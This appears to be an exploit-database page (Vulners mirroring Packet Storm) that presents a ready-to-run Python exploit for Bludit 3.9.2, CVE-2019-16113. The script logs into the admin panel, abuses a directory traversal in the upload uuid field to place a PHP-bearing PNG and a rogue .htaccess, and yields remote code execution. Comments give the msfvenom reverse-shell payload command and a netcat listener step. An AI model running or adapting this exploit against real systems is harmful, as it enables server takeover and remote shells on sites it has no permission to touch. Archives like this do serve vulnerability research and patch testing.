Lucene search
K

Bludit 3.9.2 Directory Traversal

🗓️ 27 Jul 2020 00:00:00Reported by James GreenType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 170 Views

Bludit 3.9.2 Directory Traversal, File Upload, Remote Code Executio

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Bludit - Directory Traversal Image File Upload Exploit
20 Nov 201900:00
zdt
0day.today
Bludit 3.9.12 - Directory Traversal Vulnerability
9 Jun 202000:00
zdt
0day.today
Bludit 3.9.2 - Directory Traversal Exploit
27 Jul 202000:00
zdt
GithubExploit
Exploit for CVE-2016-16113
7 Jan 202618:57
githubexploit
GithubExploit
Exploit for Path Traversal in Bludit
4 Jun 202016:06
githubexploit
GithubExploit
Exploit for Path Traversal in Bludit
9 Jun 202012:39
githubexploit
GithubExploit
Exploit for Path Traversal in Bludit
3 Jun 202015:49
githubexploit
GithubExploit
Exploit for Path Traversal in Bludit
3 Jul 202008:37
githubexploit
ATTACKERKB
Bludit 3.9.2 remote code execution
8 Sep 201900:00
attackerkb
Circl
CVE-2019-16113
12 Nov 201921:52
circl
Rows per page
`# Title: Bludit 3.9.2 - Directory Traversal  
# Author: James Green  
# Date: 2020-07-20  
# Vendor Homepage: https://www.bludit.com  
# Software Link: https://github.com/bludit/bludit  
# Version: 3.9.2  
# Tested on: Linux Ubuntu 19.10 Eoan  
# CVE: CVE-2019-16113  
#   
# Special Thanks to Ali Faraj (@InfoSecAli) and authors of MSF Module https://www.exploit-db.com/exploits/47699  
  
#### USAGE ####  
# 1. Create payloads: .png with PHP payload and the .htaccess to treat .pngs like PHP  
# 2. Change hardcoded values: URL is your target webapp, username and password is admin creds to get to the admin dir  
# 3. Run the exploit  
# 4. Start a listener to match your payload: `nc -nlvp 53`, meterpreter multi handler, etc  
# 5. Visit your target web app and open the evil picture: visit url + /bl-content/tmp/temp/evil.png  
  
#!/usr/bin/env python3  
  
import requests  
import re  
import argparse  
import random  
import string  
import base64  
from requests.exceptions import Timeout  
  
url = 'http://127.0.0.1' # CHANGE ME  
username = 'James' # CHANGE ME  
password = 'Summer2020' # CHANGE ME  
  
# msfvenom -p php/reverse_php LHOST=127.0.0.1 LPORT=53 -f raw -b '"' > evil.png  
# echo -e "<?php $(cat evil.png)" > evil.png   
payload = 'evil.png' # CREATE ME  
  
# echo "RewriteEngine off" > .htaccess  
# echo "AddType application/x-httpd-php .png" >> .htaccess  
payload2 = '.htaccess' # CREATE ME  
  
def login(url,username,password):  
""" Log in with provided admin creds, grab the cookie once authenticated """  
  
session = requests.Session()  
login_page = session.get(url + "/admin/")  
csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"',  
login_page.text  
).group(1)  
cookie = ((login_page.headers["Set-Cookie"]).split(";")[0].split("=")[1])  
data = {"save":"",  
"password":password,  
"tokenCSRF":csrf_token,  
"username":username}  
headers = {"Origin":url,  
"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",  
"Upgrade-Insecure-Requests":"1",  
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",  
"Connection":"close",  
"Referer": url + "/admin/",  
"Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3",  
"Accept-Encoding":"gzip, deflate",  
"Content-Type":"application/x-www-form-urlencoded"  
}  
cookies = {"BLUDIT-KEY":cookie}  
response = session.post(url + "/admin/",  
data=data,  
headers=headers,  
cookies=cookies,  
allow_redirects = False  
)  
  
print("cookie: " + cookie)  
return cookie  
  
def get_csrf_token(url,cookie):  
""" Grab the CSRF token from an authed session """  
  
session = requests.Session()  
headers = {"Origin":url,  
"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",  
"Upgrade-Insecure-Requests":"1",  
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",  
"Connection":"close",  
"Referer":url + "/admin/",  
"Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3",  
"Accept-Encoding":"gzip, deflate"}  
cookies = {"BLUDIT-KEY":cookie}  
response = session.get(url + "/admin/dashboard",  
headers=headers,  
cookies=cookies  
)  
csrf_token = response.text.split('var tokenCSRF = "')[1].split('"')[0]  
  
print("csrf_token: " + csrf_token)  
return csrf_token  
  
def upload_evil_image(url, cookie, csrf_token, payload, override_uuid=False):  
""" Upload files required for to execute PHP from malicious image files. Payload and .htaccess """  
  
session = requests.Session()  
files= {"images[]": (payload,  
open(payload, "rb"),  
"multipart/form-data",  
{"Content-Type": "image/png", "filename":payload}  
)}  
if override_uuid:  
data = {"uuid": "../../tmp/temp",  
"tokenCSRF":csrf_token}  
else:  
# On the vuln app, this line occurs first:  
# Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename);  
# Even though there is a file extension check, it won't really stop us  
# from uploading the .htaccess file.  
data = {"tokenCSRF":csrf_token}  
headers = {"Origin":url,  
"Accept":"*/*",  
"X-Requested-With":"XMLHttpRequest",  
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",  
"Connection":"close",  
"Referer":url + "/admin/new-content",  
"Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3",  
"Accept-Encoding":"gzip, deflate",  
}  
cookies = {"BLUDIT-KEY":cookie}  
response = session.post(url + "/admin/ajax/upload-images", data=data, files=files, headers=headers, cookies=cookies)  
print("Uploading payload: " + payload)  
  
if __name__ == "__main__":  
cookie = login(url, username, password)  
token = get_csrf_token(url, cookie)  
upload_evil_image(url, cookie, token, payload, True)  
upload_evil_image(url, cookie, token, payload2)  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation